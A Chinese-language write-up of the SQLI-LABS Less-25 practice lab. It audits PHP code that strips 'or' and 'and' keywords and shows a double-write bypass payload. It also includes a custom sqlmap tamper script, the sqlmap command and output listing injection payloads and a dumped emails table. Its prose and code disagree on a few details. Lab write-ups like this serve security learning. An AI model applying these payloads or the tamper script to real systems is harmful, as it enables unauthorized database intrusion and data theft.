sqli-labs通关笔记-第25关GET字符注入(过滤or和and 脚本法)
目录
一、sqlmap之tamper脚本
二、源码分析
1、代码审计
2、SQL安全性分析
三、渗透实战
1、进入靶场
2、tamper脚本
3、sqlmap渗透
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第25关Less 25基于GET字符型的SQL注入关卡进行渗透实战,该关卡过滤关键字and和or防止SQL注入攻击。
一、sqlmap之tamper脚本
sqlmap 是一款开源自动化 SQL 注入工具,支持多种注入类型,可探测、可渗透获取数据库信息,需在合法授权下使用。
tamper 脚本是 sqlmap 的插件,用于绕过防护机制,如编码转换、过滤关键词等,通过修改 Payload 结构提升注入成功率,适配不同防护场景,是工具灵活性和绕过能力的关键组件。tamper脚本允许用户自定义修改注入payload,主要用于绕过WAF/IDS/IPS等安全防护。以下是编tamper脚本的基本结构,具体如下所示。
#!/usr/bin/env pythonfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMAL # 定义脚本优先级def dependencies():pass # 定义依赖关系(可选)def tamper(payload, **kwargs):"""主处理函数,接收原始payload,返回修改后的payload"""return payload
二、源码分析
1、代码审计
本关卡Less25是基于GET字符型的SQL注入关卡,打开对应的源码index.php,如下所示。
Less25关卡功能是简单基于id的查询页面,详细注释后的代码如下所示。
<?php
// 包含数据库连接配置
include("../sql-connections/sqli-connect.php");// 检查是否传入了id参数
if(isset($_GET['id']))
{// 获取id参数并记录到日志文件$id=$_GET['id'];$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// 使用黑名单过滤输入$id= blacklist($id);$hint=$id; // 保存过滤后的输入用于提示// 构建并执行SQL查询$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row) {// 显示查询结果echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";} else {// 显示错误信息(不安全)echo '<font color= "#FFFF00">';print_r(mysqli_error($con1));echo "</font>"; }
} else { // 未传入id参数时的提示echo "Please input the ID as parameter with numeric value";
}// 黑名单过滤函数
function blacklist($id)
{// 过滤OR和AND关键字(不区分大小写)$id= preg_replace('/or/i',"", $id); // 移除OR$id= preg_replace('/AND/i',"", $id); // 移除ANDreturn $id;
}
?>
本关卡实现了一个存在SQL注入风险的用户查询系统,它接收用户通过URL参数提交的ID值,使用黑名单过滤机制尝试移除其中的"OR"和"AND"关键字(不区分大小写)后,直接将过滤后的值拼接到SQL查询中从数据库查询相应用户信息,并将用户名和密码显示在网页上。
2、SQL安全性分析
系统虽然通过preg_replace()函数进行了简单的关键字过滤,单仍可通过双写关键字绕过过滤机制,导致依旧存在SQL注入风险,攻击者可以构造特殊输入来绕过过滤并执行恶意SQL命令,从而获取数据库敏感信息。此外,代码还直接将SQL错误信息输出到页面,进一步增加了信息泄露风险。 SQL语句如下所示。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
由于源码过滤了关键字or,那么如果我们计划注入 id=1' OR 1=1 --+,只要将OR变为OORR,即可实现绕过。
id=1' OORR 1=1 --+
经过blacklist函数处理后,OORR中的OR被替换为空,OORR处理后变为了OR,注入语句变为如下所示,从而实现了服务器的过滤机制绕过。
1' OR 1=1 --+
三、渗透实战
1、进入靶场
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://192.168.59.1/sqli-labs/
点击进入Page2,如下图红框所示。
其中第25关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。
http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap
点击上图红框的Less25关卡,进入到靶场的第25关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: Your Input is Filtered with following result: ”,具体如下所示。
http://192.168.59.1/sqli-labs/Less-25
2、tamper脚本
构造25.py脚本,使用双写方法绕过服务器对or和and关键字的过滤,将or替换为oorr,and替换为aandnd,具体内容如下所示。
#!/usr/bin/env python
'''
sqlmap 双写绕过
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):payload= payload.lower()payload= payload.replace('or' , 'oorr')payload= payload.replace('and' , 'anandd')retVal=payloadreturn retVal
3、sqlmap渗透
使用自己编写的tamper脚本25.py进行sqlmap渗透,具体命令如下所示。
sqlmap -u http://192.168.59.1/sqli-labs/Less-25/?id=1 --current-db --batch --tamper 25.py --dump
-u "URL" | 指定测试目标URL |
--current-db | 获取当前数据库名称 |
--batch | 非交互模式,自动选择默认选项 |
--tamper double_and_or.py | 使用自定义tamper脚本绕过WAF过滤 |
--dump | 导出检测到的数据 |
如下所示,sqlmap渗透成功,可以通过联合注入法、报错法、布尔盲注、时间盲注方法渗透成功,具体信息如下所示。
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 66 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1' AND 6893=6893 AND 'onFr'='onFrType: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: id=1' AND GTID_SUBSET(CONCAT(0x716b6a7671,(SELECT (ELT(6554=6554,1))),0x71716b7171),6554) AND 'wxLL'='wxLLType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1' AND (SELECT 2664 FROM (SELECT(SLEEP(5)))QPhB) AND 'JOjg'='JOjgType: UNION queryTitle: Generic UNION query (NULL) - 3 columnsPayload: id=-1720' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a7671,0x6746774e61674d594677435552746a4242564d4a65476458566e48676c7a7a66717456756c726a57,0x71716b7171)-- -
---
[05:15:37] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[05:15:37] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[05:15:37] [INFO] fetching current database
current database: 'security'
[05:15:37] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[05:15:37] [INFO] fetching current database
[05:15:37] [INFO] fetching tables for database: 'security'
[05:15:37] [INFO] fetching columns for table 'emails' in database 'security'
[05:15:37] [INFO] fetching entries for table 'emails' in database 'security'
Database: security
Table: emails
[8 entries]
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+----+------------------------+